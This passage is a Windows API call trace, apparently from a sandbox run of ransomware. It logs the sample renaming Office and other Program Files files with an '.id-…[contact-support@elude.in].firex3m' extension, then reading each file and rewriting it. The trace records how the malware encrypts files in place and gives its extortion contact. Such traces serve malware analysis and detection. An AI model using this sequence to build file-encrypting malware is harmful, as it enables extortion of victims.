RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0195.268] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.268] WriteFile (in: hFile=0x5e4, lpBuffer=0x72e9d78*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesWritten=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.270] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.270] WriteFile (in: hFile=0x5e4, lpBuffer=0x72f5177*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f5177*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.271] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.271] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.272] CloseHandle (hObject=0x5e4) returned 1 [0195.272] GetProcessHeap () returned 0x630000 [0195.272] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0195.272] GetProcessHeap () returned 0x630000 [0195.272] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0195.272] GetProcessHeap () returned 0x630000 [0195.272] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0195.272] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.272] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a566ce4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9be01, dwReserved0=0x9b47496, dwReserved1=0x72de940, cFileName="wordEtw.man.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORDET~1.FIR")) returned 0x6d53c0 [0195.273] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0195.273] Sleep (dwMilliseconds=0x1) [0195.285] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", len=0x50 | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx") returned 1 [0195.285] GetProcessHeap () returned 0x630000 [0195.285] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47d0) returned 0x7133a90 [0195.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0200.458] CloseHandle (hObject=0x620) returned 1 [0200.458] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0200.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.460] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6bcc, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="Office Word 2003 Look.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d4f40 [0200.460] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0200.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0200.460] GetProcessHeap () returned 0x630000 [0200.460] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6be1) returned 0x71417f8 [0200.461] GetProcessHeap () returned 0x630000 [0200.461] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6be1) returned 0x70dd910 [0200.461] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.461] ReadFile (in: hFile=0x620, lpBuffer=0x71417f8, nNumberOfBytesToRead=0x6bc0, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71417f8*, lpNumberOfBytesRead=0x69bff0c*=0x6bc0, lpOverlapped=0x0) returned 1 [0204.532] GetProcessHeap () returned 0x630000 [0204.532] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0204.532] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.532] WriteFile (in: hFile=0x620, lpBuffer=0x70dd910*, nNumberOfBytesToWrite=0x6bc0, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70dd910*, lpNumberOfBytesWritten=0x69bff0c*=0x6bc0, lpOverlapped=0x0) returned 1 [0204.532] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.532] WriteFile (in: hFile=0x620, lpBuffer=0x70e44cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e44cf*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0204.532] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.532] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0204.533] CloseHandle (hObject=0x620) returned 1 [0204.533] GetProcessHeap () returned 0x630000 [0204.533] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70dd910 | out: hHeap=0x630000) returned 1 [0204.533] GetProcessHeap () returned 0x630000 [0204.533] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71417f8 | out: hHeap=0x630000) returned 1 [0204.533] GetProcessHeap () returned 0x630000 [0204.533] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0204.533] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0204.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3fdbfa12, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6bf0, dwReserved0=0x9b47496, dwReserved1=0x71417f0, cFileName="Office Word 2003 Look.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d5200 [0204.533] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0204.533] Sleep (dwMilliseconds=0x1) [0206.650] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\THMBNAIL.PNG") returned 1 [0206.650] GetProcessHeap () returned 0x630000 [0206.650] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c68) returned 0x6fe4288 [0206.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0206.652] CloseHandle (hObject=0x684) returned 1 [0206.652] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0206.652] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0206.653] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5280 [0206.653] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0206.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0206.653] GetProcessHeap () returned 0x630000 [0206.653] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7c61) returned 0x71417f8 [0206.654] GetProcessHeap () returned 0x630000 [0206.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7c61) returned 0x712f9b0 [0206.654] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.654] ReadFile (in: hFile=0x684, lpBuffer=0x71417f8, nNumberOfBytesToRead=0x7c40, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71417f8*, lpNumberOfBytesRead=0x69bff0c*=0x7c40, lpOverlapped=0x0) returned 1 [0212.466] GetProcessHeap () returned 0x630000 [0212.466] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0212.466] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.466] WriteFile (in: hFile=0x684, lpBuffer=0x712f9b0*, nNumberOfBytesToWrite=0x7c40, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x712f9b0*, lpNumberOfBytesWritten=0x69bff0c*=0x7c40, lpOverlapped=0x0) returned 1 [0212.466] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.467] WriteFile (in: hFile=0x684, lpBuffer=0x71375ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71375ef*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0212.467] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.467] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0212.467] CloseHandle (hObject=0x684) returned 1 [0212.467] GetProcessHeap () returned 0x630000 [0212.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712f9b0 | out: hHeap=0x630000) returned 1 [0212.468] GetProcessHeap () returned 0x630000 [0212.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71417f8 | out: hHeap=0x630000) returned 1 [0212.468] GetProcessHeap () returned 0x630000 [0212.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0212.468] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0212.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44970e27, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7c81, dwReserved0=0x9b47496, dwReserved1=0x71417f0, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5580 [0212.468] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0212.468] Sleep (dwMilliseconds=0x1) [0214.504] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office 15\\ClientX64\\OfficeClickToRun.exe", len=0x43 | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office 15\\ClientX64\\OfficeClickToRun.exe") returned 1 [0214.504] GetProcessHeap () returned 0x630000 [0214.505] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f3c) returned 0x7128660 [0214.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\OfficeClickToRun.exe" (normalized: "c:\\program files\\microsoft office 15\\clientx64\\officeclicktorun.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0214.505] CloseHandle (hObject=0x6c8) returned 1 [0214.506] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0214.506] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\OfficeClickToRun.exe" (normalized: "c:\\program files\\microsoft office 15\\clientx64\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\OfficeClickToRun.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office 15\\clientx64\\officeclicktorun.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0214.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\OfficeClickToRun.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e8efda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e8efda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d5500 [0214.507] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0214.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\OfficeClickToRun.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office 15\\clientx64\\officeclicktorun.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0214.507] GetProcessHeap () returned 0x630000 [0214.507] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71803a8 [0214.507] GetProcessHeap () returned 0x630000 [0214.507] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72a3b20 [0214.508] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.508] ReadFile (in: hFile=0x6c8, lpBuffer=0x71803a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesRead=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0221.050] GetProcessHeap () returned 0x630000 [0221.050] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0221.050] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.051] WriteFile (in: hFile=0x6c8, lpBuffer=0x72a3b20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a3b20*, lpNumberOfBytesWritten=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0221.051] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.051] WriteFile (in: hFile=0x6c8, lpBuffer=0x72aef1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72aef1f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.054] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.054] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.054] CloseHandle (hObject=0x6c8) returned 1 [0221.054] GetProcessHeap () returned 0x630000 [0221.054] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a3b20 | out: hHeap=0x630000) returned 1 [0221.054] GetProcessHeap () returned 0x630000 [0221.054] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0221.054] GetProcessHeap () returned 0x630000 [0221.054] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0221.054] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\OfficeClickToRun.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e8efda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e8efda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x49b4160b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10aea4, dwReserved0=0x9b47496, dwReserved1=0x71803a0, cFileName="OfficeClickToRun.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d5280 [0221.055] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0221.055] Sleep (dwMilliseconds=0x1) [0221.057] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x69bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgrade.xml") returned 1 [0221.057] GetProcessHeap () returned 0x630000 [0221.057] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50f8) returned 0x6fe3bb0 [0221.057] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0221.058] CloseHandle (hObject=0x6c8) returned 1 [0221.058] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.058] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.060] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.060] FindFirstFileW (in: lpFileName="C:\\Program 